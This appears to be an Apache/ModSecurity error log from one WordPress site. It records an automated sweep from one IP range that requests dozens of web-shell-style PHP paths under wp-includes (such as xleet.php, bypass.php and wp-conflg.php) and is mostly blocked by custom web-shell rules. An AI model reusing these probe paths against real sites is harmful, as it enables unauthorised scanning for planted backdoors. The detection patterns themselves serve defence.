[Tue Feb 24 02:45:49.362558 2026] [:error] [pid 60063:tid 60074] [client 37.140.254.149:23617] [client 37.140.254.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aZygXU_6t1uQomVVdUOKEgAAAQk"]
[Tue Feb 24 02:45:49.938847 2026] [proxy_fcgi:error] [pid 29424:tid 29431] [client 37.140.254.158:33819] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:45:51.172045 2026] [:error] [pid 29424:tid 29445] [client 37.140.254.158:33819] [client 37.140.254.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.158, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aZygX_gElGDq6B8YX7B6OQAAANM"]
[Tue Feb 24 02:45:54.182744 2026] [:error] [pid 29424:tid 29426] [client 37.140.254.158:33819] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aZygYvgElGDq6B8YX7B6TgAAAMA"]
[Tue Feb 24 02:45:54.779699 2026] [:error] [pid 60063:tid 60086] [client 37.140.254.146:21177] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aZygYk_6t1uQomVVdUOKIAAAARU"]
[Tue Feb 24 02:46:00.960028 2026] [:error] [pid 60063:tid 60065] [client 37.140.254.122:23095] [client 37.140.254.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aZygaE_6t1uQomVVdUOKQQAAAQA"]
[Tue Feb 24 02:46:01.517675 2026] [:error] [pid 60063:tid 60068] [client 37.140.254.116:54825] [client 37.140.254.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aZygaU_6t1uQomVVdUOKQwAAAQM"]
[Tue Feb 24 02:46:02.144968 2026] [:error] [pid 60063:tid 60071] [client 37.140.254.135:40013] [client 37.140.254.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aZygak_6t1uQomVVdUOKSAAAAQY"]
[Tue Feb 24 02:46:04.604692 2026] [:error] [pid 60063:tid 60082] [client 37.140.254.159:48495] [client 37.140.254.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aZygbE_6t1uQomVVdUOKUgAAARE"]
[Tue Feb 24 02:46:05.170629 2026] [:error] [pid 60063:tid 60081] [client 37.140.254.150:45495] [client 37.140.254.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aZygbU_6t1uQomVVdUOKVAAAARA"]
[Tue Feb 24 02:46:05.748740 2026] [:error] [pid 29291:tid 29387] [client 37.140.254.113:24079] [client 37.140.254.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aZygbT2gdpbMAXIIRb2AMAAAAIA"]
[Tue Feb 24 02:46:08.384285 2026] [:error] [pid 29290:tid 29381] [client 37.140.254.146:31715] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aZygcCURJ6Xg7pEW8XYouwAAAFc"]
[Tue Feb 24 02:46:09.255178 2026] [:error] [pid 60063:tid 60076] [client 37.140.254.121:39903] [client 37.140.254.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aZygcU_6t1uQomVVdUOKZAAAAQs"]
[Tue Feb 24 02:46:10.492261 2026] [:error] [pid 29290:tid 29380] [client 37.140.254.167:48427] [client 37.140.254.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aZygciURJ6Xg7pEW8XYowAAAAFY"]
[Tue Feb 24 02:46:14.304617 2026] [:error] [pid 60063:tid 60076] [client 37.140.254.134:60667] [client 37.140.254.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aZygdk_6t1uQomVVdUOKdgAAAQs"]
[Tue Feb 24 02:46:15.538489 2026] [:error] [pid 29291:tid 29410] [client 37.140.254.158:21067] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aZygdz2gdpbMAXIIRb2ASAAAAJY"]
[Tue Feb 24 02:46:18.048025 2026] [:error] [pid 60063:tid 60079] [client 37.140.254.116:28791] [client 37.140.254.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aZygek_6t1uQomVVdUOKggAAAQ4"]
[Tue Feb 24 02:46:19.288940 2026] [:error] [pid 29289:tid 29300] [client 37.140.254.140:28891] [client 37.140.254.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aZyge_SAX3I9FAhm7jnRWgAAAAc"]
[Tue Feb 24 02:46:21.107888 2026] [:error] [pid 29424:tid 29426] [client 37.140.254.164:20095] [client 37.140.254.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aZygffgElGDq6B8YX7B6bAAAAMA"]
[Tue Feb 24 02:46:23.463336 2026] [:error] [pid 60063:tid 60078] [client 37.140.254.146:55757] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aZygf0_6t1uQomVVdUOKjwAAAQ0"]
[Tue Feb 24 02:46:24.636315 2026] [:error] [pid 29291:tid 29394] [client 37.140.254.178:46505] [client 37.140.254.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aZyggD2gdpbMAXIIRb2AVQAAAIc"]
[Tue Feb 24 02:46:25.271721 2026] [:error] [pid 60063:tid 60076] [client 37.140.254.149:56231] [client 37.140.254.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aZyggU_6t1uQomVVdUOKkgAAAQs"]
[Tue Feb 24 02:46:27.454556 2026] [:error] [pid 29424:tid 29437] [client 37.140.254.146:54763] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aZygg_gElGDq6B8YX7B6fwAAAMs"]
[Tue Feb 24 02:46:29.528039 2026] [:error] [pid 60063:tid 60067] [client 37.140.254.144:61711] [client 37.140.254.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aZyghU_6t1uQomVVdUOKoAAAAQI"]
[Tue Feb 24 02:46:31.282785 2026] [:error] [pid 60063:tid 60074] [client 37.140.254.120:63627] [client 37.140.254.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aZygh0_6t1uQomVVdUOKqwAAAQk"]
[Tue Feb 24 02:46:31.870330 2026] [:error] [pid 60063:tid 60066] [client 37.140.254.146:58091] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aZygh0_6t1uQomVVdUOKrAAAAQE"]
[Tue Feb 24 02:46:33.102014 2026] [:error] [pid 60063:tid 60068] [client 37.140.254.176:24489] [client 37.140.254.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aZygiU_6t1uQomVVdUOKtQAAAQM"]
[Tue Feb 24 02:46:34.648100 2026] [:error] [pid 29289:tid 29294] [client 37.140.254.20:63171] [client 37.140.254.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aZygivSAX3I9FAhm7jnRYAAAAAE"]
[Tue Feb 24 02:46:35.177359 2026] [:error] [pid 29424:tid 29443] [client 37.140.254.140:50179] [client 37.140.254.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aZygi_gElGDq6B8YX7B6hAAAANE"]
[Tue Feb 24 02:46:37.514720 2026] [:error] [pid 29424:tid 29448] [client 37.140.254.162:56763] [client 37.140.254.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aZygjfgElGDq6B8YX7B6kgAAANY"]
[Tue Feb 24 02:46:38.756736 2026] [:error] [pid 29290:tid 29372] [client 37.140.254.132:23067] [client 37.140.254.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aZygjiURJ6Xg7pEW8XYo1wAAAE4"]
[Tue Feb 24 02:46:39.312610 2026] [:error] [pid 60063:tid 60075] [client 37.140.254.175:58051] [client 37.140.254.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aZygj0_6t1uQomVVdUOKwwAAAQo"]
[Tue Feb 24 02:46:40.534620 2026] [:error] [pid 60063:tid 60075] [client 37.140.254.153:41607] [client 37.140.254.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aZygkE_6t1uQomVVdUOKzgAAAQo"]
[Tue Feb 24 02:46:41.493668 2026] [:error] [pid 29291:tid 29409] [client 37.140.254.120:30477] [client 37.140.254.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aZygkT2gdpbMAXIIRb2AYAAAAJU"]
[Tue Feb 24 02:46:43.767453 2026] [:error] [pid 29291:tid 29408] [client 37.140.254.176:54949] [client 37.140.254.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aZygkz2gdpbMAXIIRb2AagAAAJQ"]
[Tue Feb 24 02:46:45.019379 2026] [:error] [pid 29424:tid 29448] [client 37.140.254.161:24699] [client 37.140.254.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aZyglfgElGDq6B8YX7B6nQAAANY"]
[Tue Feb 24 02:46:46.255875 2026] [:error] [pid 60063:tid 60080] [client 37.140.254.150:34343] [client 37.140.254.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aZyglk_6t1uQomVVdUOK3AAAAQ8"]
[Tue Feb 24 02:46:47.205299 2026] [:error] [pid 60063:tid 60074] [client 37.140.254.20:31111] [client 37.140.254.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "aZygl0_6t1uQomVVdUOK3wAAAQk"]
[Tue Feb 24 02:46:48.059980 2026] [:error] [pid 29290:tid 29374] [client 37.140.254.162:47699] [client 37.140.254.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aZygmCURJ6Xg7pEW8XYo3QAAAFA"]
[Tue Feb 24 02:46:48.708821 2026] [:error] [pid 60063:tid 60077] [client 37.140.254.131:62733] [client 37.140.254.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aZygmE_6t1uQomVVdUOK4wAAAQw"]
[Tue Feb 24 02:46:49.355993 2026] [:error] [pid 29289:tid 29305] [client 37.140.254.131:41635] [client 37.140.254.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aZygmfSAX3I9FAhm7jnRZgAAAAw"]
[Tue Feb 24 02:46:51.851007 2026] [:error] [pid 60063:tid 60068] [client 37.140.254.174:30363] [client 37.140.254.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aZygm0_6t1uQomVVdUOK9wAAAQM"]
[Tue Feb 24 02:46:53.724119 2026] [:error] [pid 60063:tid 60066] [client 37.140.254.121:29687] [client 37.140.254.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aZygnU_6t1uQomVVdUOLDQAAAQE"]
[Tue Feb 24 02:46:55.228116 2026] [:error] [pid 60063:tid 60079] [client 37.140.254.173:20833] [client 37.140.254.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aZygn0_6t1uQomVVdUOLJgAAAQ4"]
[Tue Feb 24 02:46:56.741512 2026] [:error] [pid 60063:tid 60067] [client 37.140.254.132:26057] [client 37.140.254.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aZygoE_6t1uQomVVdUOLQQAAAQI"]
[Tue Feb 24 02:46:59.198498 2026] [:error] [pid 29289:tid 29304] [client 37.140.254.138:33265] [client 37.140.254.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aZygo_SAX3I9FAhm7jnRggAAAAs"]
[Tue Feb 24 02:47:00.164087 2026] [:error] [pid 60063:tid 60080] [client 37.140.254.147:29715] [client 37.140.254.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aZygpE_6t1uQomVVdUOLXwAAAQ8"]
[Tue Feb 24 02:47:01.236384 2026] [:error] [pid 60063:tid 60075] [client 37.140.254.149:34945] [client 37.140.254.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aZygpU_6t1uQomVVdUOLbAAAAQo"]
[Tue Feb 24 02:47:02.880925 2026] [:error] [pid 29291:tid 29390] [client 37.140.254.167:51733] [client 37.140.254.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aZygpj2gdpbMAXIIRb2AogAAAIM"]
[Tue Feb 24 02:47:05.970672 2026] [:error] [pid 29424:tid 29426] [client 37.140.254.130:48965] [client 37.140.254.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aZygqfgElGDq6B8YX7B7AQAAAMA"]
[Tue Feb 24 02:47:06.568301 2026] [:error] [pid 60063:tid 60075] [client 37.140.254.161:50873] [client 37.140.254.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aZygqk_6t1uQomVVdUOLjQAAAQo"]
[Tue Feb 24 02:47:07.992185 2026] [:error] [pid 60063:tid 60081] [client 37.140.254.147:31751] [client 37.140.254.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aZygq0_6t1uQomVVdUOLmQAAARA"]
